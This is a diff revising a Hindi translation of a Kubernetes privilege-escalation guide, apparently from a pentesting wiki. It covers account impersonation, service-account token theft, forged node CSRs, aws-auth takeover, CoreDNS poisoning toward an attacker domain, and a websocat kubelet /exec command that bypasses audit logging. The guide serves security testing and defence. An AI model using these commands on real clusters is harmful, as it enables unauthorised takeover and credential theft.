||||
|
||||
जैसा कि [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) में कहा गया है, सुरक्षा को bypass करना संभव है:
|
||||
जैसा कि [**इस research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) में बताया गया है, इस protection को बायपास करना संभव है:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
जो पिछले escapes जैसे मामलों को रोकने के लिए था — hostPath mount का उपयोग करने के बजाय, PersistentVolume और PersistentVolumeClaim का उपयोग करके container में hosts folder को writable access के साथ mount करने के लिए:
|
||||
जिसका उद्देश्य पिछले वाले escapes को रोकना था, इसके लिए hostPath mount का उपयोग करने के बजाय, कंटेनर में hosts folder को writable access के साथ mount करने के लिए एक PersistentVolume और एक PersistentVolumeClaim का उपयोग किया:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -298,11 +298,11 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **विशेषाधिकार प्राप्त खातों का अनुकरण**
|
||||
### **विशेषाधिकार प्राप्त accounts का impersonating**
|
||||
|
||||
यदि किसी के पास [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) का अधिकार है, तो एक attacker किसी विशेषाधिकार प्राप्त खाते का अनुकरण कर सकता है।
|
||||
एक [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege के साथ, एक attacker एक विशेषाधिकार प्राप्त account की impersonate कर सकता है।
|
||||
|
||||
किसी उपयोगकर्ता का अनुकरण करने के लिए `kubectl` कमांड में पैरामीटर `--as=<username>` का उपयोग करें, या किसी समूह का अनुकरण करने के लिए `--as-group=<group>`:
|
||||
किसी user को impersonate करने के लिए `kubectl` command में `--as=<username>` parameter का उपयोग करें, या किसी group को impersonate करने के लिए `--as-group=<group>` का उपयोग करें:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -315,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secrets को सूचीबद्ध करना
|
||||
### सीक्रेट्स की लिस्टिंग
|
||||
|
||||
REST API endpoint को एक्सेस करके **list secrets की अनुमति एक attacker को वास्तव में secrets पढ़ने में सक्षम कर सकती है**:
|
||||
**list secrets** की अनुमति एक attacker को वास्तव में **secrets को read** करने दे सकती है, REST API endpoint को access करके:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secrets बनाना और पढ़ना
|
||||
### Creating and Reading Secrets
|
||||
|
||||
Kubernetes secret का एक विशेष प्रकार होता है जिसका type **kubernetes.io/service-account-token** होता है, जो serviceaccount tokens को स्टोर करता है।
|
||||
यदि आपके पास secrets को create और read करने की permissions हैं, और आपको serviceaccount का नाम पता है, तो आप नीचे दिए अनुसार एक secret बना सकते हैं और फिर उससे victim serviceaccount का token चुरा सकते हैं:
|
||||
**kubernetes.io/service-account-token** type का एक special kind Kubernetes Secret होता है, जो service account tokens store करता है। Modern Kubernetes versions हर ServiceAccount के लिए automatically एक long-lived Secret create **नहीं** करते; projected, bound TokenRequest tokens normal workload path हैं। हालांकि, manually created service account token Secrets अभी भी supported हैं, और upgraded या legacy clusters में अभी भी long-lived token Secrets हो सकते हैं। Current clusters unused auto-generated legacy token Secrets को invalid mark करके बाद में उन्हें clean up भी कर सकते हैं, जिससे `kubernetes.io/legacy-token-invalid-since` और `kubernetes.io/legacy-token-last-used` जैसे labels रह जाते हैं।
|
||||
|
||||
अगर आपके पास secrets create और read करने की permissions हैं, और आपको serviceaccount का name भी पता है, तो आप निम्नानुसार एक secret create कर सकते हैं और फिर उससे victim serviceaccount का token steal कर सकते हैं:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -383,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
ध्यान दें कि यदि आपको किसी निश्चित namespace में secrets create और read करने की अनुमति है, तो victim serviceaccount भी उसी namespace में होना चाहिए।
|
||||
|
||||
### एक secret पढ़ना – brute-forcing token IDs
|
||||
|
||||
जब attacker के पास read permissions वाला token होता है, तो उसे secret का बिल्कुल सही नाम चाहिए होता है ताकि वह उसे उपयोग कर सके; broader _**listing secrets**_ privilege के विपरीत, फिर भी कुछ कमजोरियाँ मौजूद हैं। सिस्टम के default service accounts को enumerate किया जा सकता है, और प्रत्येक का association एक secret से होता है। इन secrets के नाम की संरचना इस प्रकार है: एक static prefix के बाद एक random पाँच-चरित्र वाला alphanumeric token (कुछ characters को छोड़कर), जैसा कि [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) में दिखता है।
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
|
||||
यह token पूर्ण alphanumeric रेंज की बजाय सीमित 27-character सेट (`bcdfghjklmnpqrstvwxz2456789`) से जनरेट होता है। इस प्रतिबंध के कारण संभावित combinations की कुल संख्या 14,348,907 (27^5) हो जाती है। नतीजतन, एक attacker कुछ घंटों में token को अनुमान लगाने के लिए brute-force attack करने में सक्षम हो सकता है, जिससे संवेदनशील service accounts तक पहुँच कर privilege escalation संभव हो सकता है।
|
||||
जब किसी attacker के पास read permissions वाला token होता है, तो उसे use करने के लिए secret का exact name चाहिए होता है, unlike broader _**listing secrets**_ privilege; फिर भी vulnerabilities मौजूद हैं। system में default service accounts enumerate किए जा सकते हैं, और हर एक के साथ एक secret जुड़ा होता है। इन secrets की name structure यह होती है: एक static prefix, उसके बाद एक random five-character alphanumeric token (कुछ characters को छोड़कर), जैसा कि [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) में है।
|
||||
|
||||
Token एक सीमित 27-character set (`bcdfghjklmnpqrstvwxz2456789`) से generate किया जाता है, full alphanumeric range की बजाय। यह limitation total possible combinations को 14,348,907 (27^5) तक घटा देती है। इसलिए, एक attacker brute-force attack practical रूप से execute करके कुछ घंटों में token deduce कर सकता है, जिससे sensitive service accounts को access करके privilege escalation हो सकती है।
|
||||
|
||||
### EncrpytionConfiguration in clear text
|
||||
|
||||
इस प्रकार के object में यह संभव है कि आप clear text keys पाएँ जो data at rest को encrypt करने के लिए उपयोग होते हैं, उदाहरण के लिए:
|
||||
इस type of object में data at rest को encrypt करने के लिए clear text keys ढूँढना possible है जैसे:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -450,13 +452,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### प्रमाणपत्र साइनिंग अनुरोध
|
||||
### Certificate Signing Requests
|
||||
|
||||
यदि आपके पास resource `certificatesigningrequests` (या कम से कम `certificatesigningrequests/nodeClient`) में verbs **`create`** हैं, तो आप एक **नए node** का नया CeSR बना सकते हैं।
|
||||
अगर आपके पास resource `certificatesigningrequests` में **`create`** verbs हैं (या कम से कम `certificatesigningrequests/nodeClient` में)। तो आप एक **new node** का नया CeSR **create** कर सकते हैं।
|
||||
|
||||
दस्तावेज़ों के अनुसार [इन अनुरोधों को auto approve करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए उस स्थिति में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि ऐसा नहीं है, तो आपको अनुरोध को approve करने में सक्षम होना चाहिए, यानी `certificatesigningrequests/approval` में update और `signers` में approve करने की अनुमति होनी चाहिए, resourceName `<signerNameDomain>/<signerNamePath>` या `<signerNameDomain>/*` के साथ।
|
||||
[documentation](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) के अनुसार, इन requests को auto approve करना संभव है, इसलिए उस case में आपको **extra permissions** की जरूरत नहीं होगी। अगर ऐसा नहीं है, तो आपको request approve करने में सक्षम होना होगा, जिसका मतलब है `certificatesigningrequests/approval` में update और `signers` में `approve` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
|
||||
|
||||
सभी आवश्यक permissions के साथ एक **role का उदाहरण** है:
|
||||
सभी required permissions वाला **role** का एक **example** है:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -487,19 +489,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
तो, नए node CSR को अनुमोदित किए जाने के बाद, आप नोड्स की विशेष अनुमतियों का **abuse** करके **steal secrets** और **escalate privileges** कर सकते हैं।
|
||||
तो, नए node CSR के approve होने के बाद, आप nodes की special permissions का **abuse** करके **secrets steal** कर सकते हैं और **privileges escalate** कर सकते हैं।
|
||||
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap विन्यास **automatic signing** के साथ कॉन्फ़िगर है और इसका दुरुपयोग करके नए K8s Node के credentials जनरेट किए जाते हैं और फिर उनका दुरुपयोग कर उन्हें escalate privileges by stealing secrets के लिए इस्तेमाल किया जाता है।\
|
||||
यदि आप **उल्लेखित privileges रखते हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस error को बाइपास करता है जो नए node को containers के अंदर के secrets तक पहुँचने से रोकता है, क्योंकि एक **node केवल उन containers के secrets तक ही पहुँच सकता है जो उस पर mounted हैं।**
|
||||
[**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap configuration **automatic signing** के साथ configured है और इसका abuse करके एक नए K8s Node के credentials generate किए जाते हैं, और फिर उनका abuse करके secrets steal कर के privileges escalate किए जाते हैं।\
|
||||
अगर आपके पास mentioned privileges **yo could do the same thing** हैं। ध्यान दें कि पहला example उस error को bypass करता है जो नए node को containers के अंदर secrets access करने से रोकता है क्योंकि एक **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
इसे बायपास करने का तरीका बस यही है कि **create a node credentials for the node name where the container with the interesting secrets is mounted** (लेकिन कैसे करना है, यह पहले post में देखें):
|
||||
इस bypass का तरीका बस यह है कि **उस node name के लिए node credentials create करें जहाँ interesting secrets वाला container mounted है** (लेकिन इसे पहले post में कैसे करना है, बस वही check करें):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
जो प्रिंसिपल EKS क्लस्टर्स में kube-system namespace में **`configmaps`** को संपादित कर सकते हैं (AWS में होने की आवश्यकता है) वे **aws-auth** configmap को ओवरराइट करके क्लस्टर एडमिन अधिकार प्राप्त कर सकते हैं.\
|
||||
आवश्यक verbs हैं **`update`** और **`patch`**, या **`create`** यदि configmap बनाया नहीं गया था:
|
||||
वे principals जो EKS (AWS में होना ज़रूरी) clusters पर kube-system namespace में **`configmaps`** को modify कर सकते हैं, वे **aws-auth** configmap को overwrite करके cluster admin privileges प्राप्त कर सकते हैं।\
|
||||
ज़रूरी verbs हैं **`update`** और **`patch`**, या अगर configmap create नहीं हुआ है तो **`create`**:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -539,18 +541,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> आप **`aws-auth`** का उपयोग **persistence** के लिए कर सकते हैं, जो **other accounts** के उपयोगकर्ताओं को पहुँच देता है।
|
||||
> आप **`aws-auth`** का उपयोग **persistence** के लिए कर सकते हैं, जिससे **other accounts** के users को access दिया जा सकता है।
|
||||
>
|
||||
> हालांकि, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` तब काम करता है जब आप नाम की जगह cluster का ARN डालते हैं।\
|
||||
> kubectl को काम करवाने के लिए, बस यह सुनिश्चित करें कि **victims kubeconfig** को **configure** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl token प्राप्त करने और AWS से संपर्क करने के लिए दूसरे account प्रोफ़ाइल का उपयोग करे।
|
||||
> हालांकि, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **different acount** से काम नहीं करता। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` काम करता है अगर आप सिर्फ नाम की बजाय cluster का ARN डालते हैं।\
|
||||
> `kubectl` को काम कराने के लिए, बस यह सुनिश्चित करें कि आप **victims kubeconfig** को **configure** करें और aws exec args में `--profile other_account_role` जोड़ें, ताकि kubectl token पाने और AWS से contact करने के लिए दूसरे account profile का उपयोग करे।
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
यदि आपके पास `kube-system` namespace में **`coredns` configmap** को संशोधित करने की अनुमति है, तो आप उन address को बदल सकते हैं जिनपर domains resolve होंगे, ताकि आप MitM attacks करके **संवेदनशील जानकारी चुराने या दुर्भावनापूर्ण सामग्री इंजेक्ट करने** में सक्षम हों।
|
||||
अगर आपके पास `kube-system` namespace में **`coredns` configmap** को modify करने की permissions हैं, तो आप address domains को resolve होने वाले address में बदल सकते हैं ताकि MitM attacks करके **sensitive information steal** कर सकें या **malicious content inject** कर सकें।
|
||||
|
||||
इसके लिए आवश्यक verbs हैं **`update`** और **`patch`** जो **`coredns`** configmap (या सभी config maps) पर होने चाहिए।
|
||||
ज़रूरी verbs हैं **`update`** और **`patch`** `coredns` configmap पर (या सभी config maps पर)।
|
||||
|
||||
एक सामान्य **coredns file** कुछ इस तरह दिखता है:
|
||||
एक regular **coredns file** कुछ इस तरह दिखती है:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -580,48 +582,48 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
|
||||
एक attacker इसे `kubectl get configmap coredns -n kube-system -o yaml` चलाकर डाउनलोड कर सकता है, इसमें `rewrite name victim.com attacker.com` जैसी चीज़ जोड़कर modify कर सकता है, ताकि जब भी `victim.com` access किया जाए, असल में `attacker.com` domain access हो। फिर `kubectl apply -f poison_dns.yaml` चलाकर इसे apply किया जा सकता है।
|
||||
|
||||
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
|
||||
दूसरा option बस file को `kubectl edit configmap coredns -n kube-system` चलाकर edit करना और changes करना है।
|
||||
|
||||
### GKE में Escalation
|
||||
### Escalating in GKE
|
||||
|
||||
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
|
||||
K8s permissions को GCP principals को assign करने के **2 तरीके** हैं। किसी भी case में principal को cluster access credentials gather करने के लिए permission **`container.clusters.get`** भी चाहिए, या फिर आपको **अपनी खुद की kubectl config file generate** करनी होगी (next link follow करें)।
|
||||
|
||||
> [!WARNING]
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
> जब K8s api endpoint से बात की जाती है, तो **GCP auth token भेजा जाएगा**। फिर GCP, K8s api endpoint के through, पहले **check करेगा कि principal** (email द्वारा) **का cluster के अंदर कोई access है या नहीं**, फिर यह check करेगा कि उसके पास **GCP IAM के through कोई access है या नहीं**।\
|
||||
> अगर इनमें से **कोई भी** **true** है, तो उसे **respond** किया जाएगा। अगर **नहीं**, तो **GCP IAM के through permissions देने** का सुझाव देने वाला **error** दिया जाएगा।
|
||||
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
फिर, पहला method **GCP IAM** use करना है; K8s permissions की अपनी **equivalent GCP IAM permissions** होती हैं, और अगर principal के पास वे हैं, तो वह उनका use कर पाएगा।
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
The second method is **क्लस्टर के अंदर K8s permissions असाइन करना** to the identifying the user by its **email** (GCP service accounts included).
|
||||
दूसरा method cluster के अंदर **K8s permissions assign करना** है, user को उसकी **email** से identify करके (GCP service accounts included)।
|
||||
|
||||
### Create serviceaccounts token
|
||||
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
जो principals **TokenRequests create** कर सकते हैं (`serviceaccounts/token`) जब K8s api endpoint SAs से बात की जाती है (info [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego) से)।
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
जिन principals के पास `pods/ephemeralcontainers` पर `update` या `patch` verbs में से कोई भी है, वे **other pods पर code execution** हासिल कर सकते हैं, और privileged securityContext के साथ एक ephemeral container जोड़कर potentially अपने node से **break out** कर सकते हैं
|
||||
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
`validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` verbs में से किसी के साथ principals **ऐसी webhookconfigurations में से एक create** कर सकते हैं ताकि **privileges escalate** कर सकें।
|
||||
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
एक [`mutatingwebhookconfigurations` example के लिए इस post के इस section को देखें](#malicious-admission-controller)।
|
||||
|
||||
### Escalate
|
||||
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
जैसा कि आप next section में पढ़ सकते हैं: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), एक principal roles या clusterroles update या create नहीं कर सकता, जब तक कि उसके पास वे new permissions खुद न हों। सिवाय इसके कि उसके पास **verb `escalate` या `*`** **`roles`** या **`clusterroles`** पर और respective binding options पर हो।\
|
||||
फिर वह अपने पास मौजूद permissions से बेहतर permissions वाले नए roles, clusterroles update/create कर सकता है।
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
**`nodes/proxy`** subresource access वाले principals Kubelet API के through pods पर **code execute** कर सकते हैं (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet authentication के बारे में अधिक जानकारी इस page पर:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -629,10 +631,10 @@ Principals with access to the **`nodes/proxy`** subresource can **execute code o
|
||||
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
|
||||
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
|
||||
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
|
||||
- Kubelet protocol upgrade से पहले HTTP methods को RBAC verbs में map करता है। WebSocket handshakes को **HTTP GET** (`Connection: Upgrade`) से शुरू होना चाहिए, इसलिए WebSocket के through `/exec` को expected `create` के बजाय **verb `get`** के रूप में check किया जाता है।
|
||||
- `/exec`, `/run`, `/attach`, और `/portforward` explicitly mapped नहीं हैं और default **`proxy`** subresource में fall through हो जाते हैं, इसलिए authorization question बन जाता है **`can <user> get nodes/proxy?`**
|
||||
- अगर token के पास सिर्फ **`nodes/proxy` + `get`** है, तो `https://<node_ip>:10250` पर kubelet को direct WebSocket access उस node के किसी भी pod में arbitrary command execution की अनुमति देता है। API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) के through वही request denied हो जाती है क्योंकि यह normal HTTP POST है और `create` में map होती है।
|
||||
- Kubelet WebSocket upgrade के बाद कोई second authorization perform नहीं करता; सिर्फ initial GET evaluate किया जाता है।
|
||||
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
```bash
|
||||
@@ -642,13 +644,13 @@ websocat --insecure \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Use the **Node IP**, node name नहीं। वही request `curl -X POST` के साथ **Forbidden** होगा क्योंकि यह `create` से मैप होता है।
|
||||
- Direct kubelet access API server को बायपास करता है, इसलिए AuditPolicy केवल kubelet user agent से `subjectaccessreviews` दिखाता है और **`pods/exec` कमांड्स को लॉग नहीं करता**।
|
||||
- प्रभावित service accounts को [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) से enumerate करें ताकि `nodes/proxy` GET तक सीमित tokens मिले।
|
||||
- **Node IP** का उपयोग करें, node name नहीं। `curl -X POST` के साथ वही request **Forbidden** होगी क्योंकि यह `create` में map होती है।
|
||||
- Direct kubelet access API server को bypass करता है, इसलिए AuditPolicy केवल kubelet user agent से आए `subjectaccessreviews` दिखाता है और **`pods/exec`** commands को log **नहीं** करता।
|
||||
- प्रभावित service accounts को [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) से enumerate करें ताकि केवल `nodes/proxy` GET तक सीमित tokens मिल सकें।
|
||||
|
||||
### Pods हटाना + nodes को unschedulable बनाना
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
ऐसे principals जिनके पास किसी pod पर नियंत्रण हो और जो निम्न में से कोई भी कर सकते हों — **delete pods** (`delete` verb over `pods` resource), या **evict pods** (`create` verb over `pods/eviction` resource), या **change pod status** (access to `pods/status`) — और जो अन्य nodes को **unschedulable** बना सकते हों (access to `nodes/status`) या **delete nodes** (`delete` verb over `nodes` resource), वे दूसरे nodes के pods को चुरा कर उन्हें compromised node पर **execute** करा सकते हैं और attacker उन pods से **tokens चुरा** सकता है।
|
||||
वे principals जो **delete pods** कर सकते हैं (`pods` resource पर `delete` verb), या **evict pods** कर सकते हैं (`pods/eviction` resource पर `create` verb), या **pod status change** कर सकते हैं (`pods/status` तक access) और **अन्य nodes को unschedulable** बना सकते हैं (`nodes/status` तक access) या **nodes delete** कर सकते हैं (`nodes` resource पर `delete` verb) और जिनका किसी pod पर control है, वे **other nodes से pods steal** कर सकते हैं ताकि वे **compromised** **node** पर **executed** हों और attacker उन pods से **tokens steal** कर सके।
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -661,41 +663,41 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
प्रिंसिपल्स जो **modify** **`services/status`** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड सेट करके **unfixed CVE-2020-8554** का फायदा उठा सकते हैं और क्लस्टर के खिलाफ **MiTM attacks** लॉन्च कर सकते हैं। CVE-2020-8554 के लिए अधिकांश mitigations केवल ExternalIP services को ही रोकते हैं (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))।
|
||||
Principals जो **modify** कर सकते हैं **`services/status`** वे **status.loadBalancer.ingress.ip** field को set करके **unfixed CVE-2020-8554** का exploit कर सकते हैं और **clus**ter के खिलाफ **MiTM attacks** launch कर सकते हैं। CVE-2020-8554 के लिए ज़्यादातर mitigations केवल ExternalIP services को रोकते हैं (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))।
|
||||
|
||||
### Nodes and Pods status
|
||||
|
||||
ऐसे प्रिंसिपल्स जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** permissions हैं, वे लेबल बदलकर लागू शेड्यूलिंग प्रतिबंधों को प्रभावित कर सकते हैं।
|
||||
**`update`** या **`patch`** permissions वाले Principals, **nodes/status** या **pods/status** पर, labels modify करके enforced scheduling constraints को affect कर सकते हैं।
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes में privilege escalation रोकने के लिए एक [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) मौजूद है।
|
||||
Kubernetes के पास privilege escalation को रोकने के लिए एक [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है।
|
||||
|
||||
यह सिस्टम सुनिश्चित करता है कि **users roles या role bindings को modify करके अपने privileges बढ़ा नहीं सकते**। इस नियम का लागू होना API स्तर पर होता है, जिससे RBAC authorizer निष्क्रिय होने पर भी सुरक्षा बनी रहती है।
|
||||
यह system सुनिश्चित करता है कि **users roles या role bindings modify करके अपनी privileges elevate नहीं कर सकते**। इस rule की enforcement API level पर होती है, जिससे RBAC authorizer inactive होने पर भी safeguard मिलता है।
|
||||
|
||||
नियम के अनुसार एक **user केवल तभी role बना या अपडेट कर सकता है जब उसके पास उस role में शामिल सभी permissions हों**। इसके अलावा, उपयोगकर्ता की मौजूदा permissions का scope उस role के scope से मेल खाना चाहिए जिसे वे बनाना या modify करना चाहते हैं: ClusterRoles के लिए cluster-wide या Roles के लिए उसी namespace (या cluster-wide) तक सीमित।
|
||||
यह rule stipulate करता है कि **user केवल तब role create या update कर सकता है जब उसके पास role के सभी permissions मौजूद हों**। इसके अलावा, user की existing permissions का scope role के scope से match होना चाहिए जिसे वह create या modify करने की कोशिश कर रहा है: ClusterRoles के लिए cluster-wide, या Roles के लिए same namespace में confined (या cluster-wide)।
|
||||
|
||||
> [!WARNING]
|
||||
> पिछले नियम का एक अपवाद है। यदि किसी प्रिंसिपल के पास **verb `escalate`** `roles` या `clusterroles` पर है तो वह roles और clusterroles की privileges बढ़ा सकता है भले ही उसके पास स्वयं वे permissions न हों।
|
||||
> पिछले rule का एक exception है। अगर किसी principal के पास **verb `escalate`** on **`roles`** या **`clusterroles`** है, तो वह roles और clusterroles की privileges बढ़ा सकता है, भले ही उसके पास वे permissions खुद न हों।
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **जाहिर तौर पर यह technique पहले काम करती थी, पर मेरे परीक्षणों के अनुसार अब यह उसी कारण से काम नहीं कर रही जो पिछले सेक्शन में बताया गया है। आप किसी rolebinding को create/modify करके खुद को या किसी दूसरे SA को privileges नहीं दे सकते यदि आपके पास वे privileges पहले से नहीं हैं।**
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
|
||||
Rolebindings बनाने की privilege एक उपयोगकर्ता को roles को एक service account से bind करने की अनुमति देती है। यह privilege संभावित रूप से privilege escalation का कारण बन सकती है क्योंकि इससे उपयोगकर्ता किसी compromised service account को admin privileges bind कर सकता है।
|
||||
